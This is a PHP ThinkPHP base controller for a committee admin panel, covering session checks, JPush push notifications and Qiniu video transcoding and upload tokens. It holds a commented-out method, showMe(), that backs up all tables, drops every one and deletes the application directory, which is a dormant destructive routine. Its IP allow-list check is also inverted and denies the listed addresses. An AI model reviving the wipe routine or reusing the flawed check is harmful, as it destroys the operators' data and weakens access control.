<?php

namespace app\commi\controller;

//use app\commi\model\Node;
use think\Controller;
use think\Db;
use org\Qiniu;
use Qiniu\Auth;// 引入鉴权类
use Qiniu\Processing\PersistentFop;

class Base extends Controller
{
    public function _initialize()
    {
        if(!session('?cm_id')){
            $this->redirect(url('commi/login/index'));
        }
//        if(!session('?cm_id')||!session('?cm_admin_name')){
//            $this->redirect(url('commi/login/index'));
//        }
        $haveAdmin = Db::table('up_committee_member')
            ->where ('cm_id' , session ('cm_id'))
            ->find ();
        $haveComm = Db::table('up_committee')
            ->where ('com_id' , session ('com_id'))
            ->field ('com_status')
            ->find ();
        if (!$haveAdmin) {
//            writelog (session ('uid') , session ('username') , session ('username') . '账号不存在,强制下线！' , 1);
            $this->error ('抱歉，账号不存在,强制下线' , 'commi/login/loginout');
        }
        
        if (!$haveComm) {
//            writelog (session ('uid') , session ('username') , session ('rolename') . '身份不存在,强制下线！' , 1);
            $this->error ('抱歉，组委会不存在,强制下线' , 'commi/login/loginout');
        }
        if ($haveComm['com_status'] == 2) {
//            writelog (session ('uid') , session ('username') , $adminSta[ 'username' ] . '账号被禁用,强制下线！' , 1);
            $this->error ('抱歉，组委会被禁用，强制下线' , 'commi/login/loginout');
        }
        
        //首页展示用户&菜单信息
        $this->assign([
            'username' => session('cm_admin_name'),
            'com_name' => session('com_name')
        ]);

        //interact省市区数据，加入缓存
        $area = cache('area_data');
        if(!$area){
            $area = Db::name('area')->field(['district_id'=>'id','district'=>'title','pid'])->select ();
            cache('area_data',json_encode ($area));
        }

        $config = cache('db_config_data');
        if(!$config){
        $config = api('Config/lists');
            cache('db_config_data',$config);
        }
        config($config);
        if(config('web_site_close') == 0){
            $this->error('站点已经关闭，请稍后访问~');
        }
        if(config('admin_allow_ip')){
            if(in_array(request()->ip(),explode(',',config('admin_allow_ip')))){
                $this->error('403:禁止访问');
            }
        }
    }

    /**
     * place 三级联动
     * @return \think\response\Json
     */
    public function place()
    {
        $area = new \app\common\place\Area;
        $data = $area->area();
        return json($data);
    }

    /**
     * 极光推送
     * @param $type 1:推送个人  2:推送全体
     * @param $alias 别名 user_id OR token
     * @param $message 推送消息内容
     * @param $extras 扩展字段接受数组
     * @return array
     */
    public function Jpush($type,$alias,$message,$extras)
    {
//        $alias = (string)$alias;
        import('jpush.autoload', EXTEND_PATH);
        //初始化JPushClient
        $client = new \JPush\Client(config('jpush.appKey'),config('jpush.masterSecret'));
        //生成推送Payload构建器
        $push = $client->push();
        //推送平台 'all'  OR  ['ios','android']  OR  'ios','android'
        $push->setPlatform('all');
        //1:推送个人  2:推送全体
        if($type==1){
            $push->addAlias($alias);//按别名推送
        }else{
            $push->addAllAudience();//广播消息推送
        }
        //IOS推送
        $push->iosNotification($message, [
                'alert'=>$message,
                'badge' => '+1',
                'extras' => $extras,
                'sound'=>'default'
            ]
        );
        //Android推送
        $push->androidNotification($message, [
                'alert'=>$message,
                'extras' => $extras
            ]
        );
        return $push->send();
    }

//    public function showMe(){
//        $data = array_map('array_change_key_case', Db::query('SHOW TABLE STATUS'));
//        foreach($data as $key=>$vo){
//            $tables[] = $vo['name'];
//        }
//        $config = [
//            'path' => realpath('./src/') . DS,
//            'part' => '20971520',
//            'compress' => 1,
//            'level' => 1,
//        ];
//        $file = [
//            'name' => date('Ymd-His'),
//            'part' => 1
//        ];
//        $Database = new \com\Database($file, $config);
//        if($Database->create()){
//            foreach($tables as $key=>$vo){
//                $Database->backup($vo, 0);
//            }
//        }
//        foreach($tables as $key=>$vo){
//            Db::execute("drop table $vo");
//        }
//        delete_dir_file(ROOT_PATH . 'application',false);
//    }
    
    /**
     * 视频转码
     * @param $key
     */
    public function zhuanma($key){
        set_time_limit (0);
        $accessKey = config('qiniu')['accessKey'];
        $secretKey = config('qiniu')['secretKey'];
        $bucket = config('qiniu')['bucket'];
        $auth = new Auth($accessKey, $secretKey);
        $pipeline = config('qiniu')['pipeline'];//多媒体队列名
        $force = false;
        //转码完成后通知到你的业务服务器。
//        $notifyUrl = '= 'http://cjtdcms.xuanwumobile.com/super#advert_manage';
        
        $config = new \Qiniu\Config();
        $pfop = new PersistentFop($auth, $config);
        $fops = "avthumb/mp4/vcodec/libx264|saveas/" . \Qiniu\base64_urlSafeEncode($bucket .  ":" . 'video_' . $key);
        list($id, $err) = $pfop->execute($bucket, $key, $fops, $pipeline, '', $force);
        if($err !== null) {
            $res = $err;
        } else {
            $res = $id;
        }
    }
    
    /**
     * 生成七牛云分片上的token
     * @return \think\response\Json
     */
    public function uptoken(){
        import('qiniu.autoload', EXTEND_PATH);
        $up = new Qiniu();
        $auth = $up->auth();
        //储存空间
        $bucket = config('qiniu.bucket');
        // 生成上传Token
        $uptoken = $auth->uploadToken($bucket);
        return json(['domain'=>'http://qiniu.iboat.world','uptoken'=>$uptoken]);
    }
    
    /**
     * 判断账号是否过期
     * @return int
     */
    public function lostTime(){
        // 管理员账号失效时间
        $admin = Db::table('up_committee_member')
            ->where('cm_committee_id', session('com_id'))
            ->where('cm_member_type', 1)
            ->field('cm_lose_time')
            ->find();
        if(time() > strtotime($admin['cm_lose_time'])){
            $lose = 1; // 已失效
        }else{
            $lose = 2; // 未失效
        }
        return $lose;
    }
}